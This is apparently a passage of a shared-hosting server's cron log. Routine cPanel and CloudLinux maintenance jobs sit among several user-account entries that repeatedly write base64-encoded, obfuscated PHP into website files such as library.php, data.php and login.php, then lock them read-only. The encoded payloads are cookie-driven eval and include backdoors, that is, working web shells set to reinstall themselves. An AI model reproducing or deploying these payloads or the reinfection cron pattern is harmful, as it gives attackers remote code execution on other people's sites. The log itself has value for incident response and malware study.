"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:34:01 medusa CROND[6379]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:34:01 medusa CROND[6380]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:34:01 medusa CROND[6381]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:34:01 medusa CROND[6382]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:34:01 medusa CROND[6383]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8115]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:35:01 medusa CROND[8118]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:35:01 medusa CROND[8119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:35:01 medusa CROND[8129]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:35:01 medusa CROND[8132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:35:01 medusa CROND[8133]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8134]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 06:35:01 medusa CROND[8144]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:35:01 medusa CROND[8145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:35:01 medusa CROND[8147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:35:01 medusa CROND[8148]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:35:01 medusa CROND[8149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:35:01 medusa CROND[8146]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:35:01 medusa CROND[8150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:35:01 medusa CROND[8151]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:35:01 medusa CROND[8154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:35:01 medusa CROND[8155]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:35:01 medusa CROND[8156]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8157]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:35:01 medusa CROND[8160]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8161]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 06:35:01 medusa CROND[8158]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 06:35:01 medusa CROND[8152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:36:01 medusa CROND[10104]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:36:01 medusa CROND[10108]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:36:01 medusa CROND[10118]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:36:01 medusa CROND[10120]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:36:01 medusa CROND[10121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:36:01 medusa CROND[10123]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:36:01 medusa CROND[10125]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:36:01 medusa CROND[10126]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:36:01 medusa CROND[10128]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 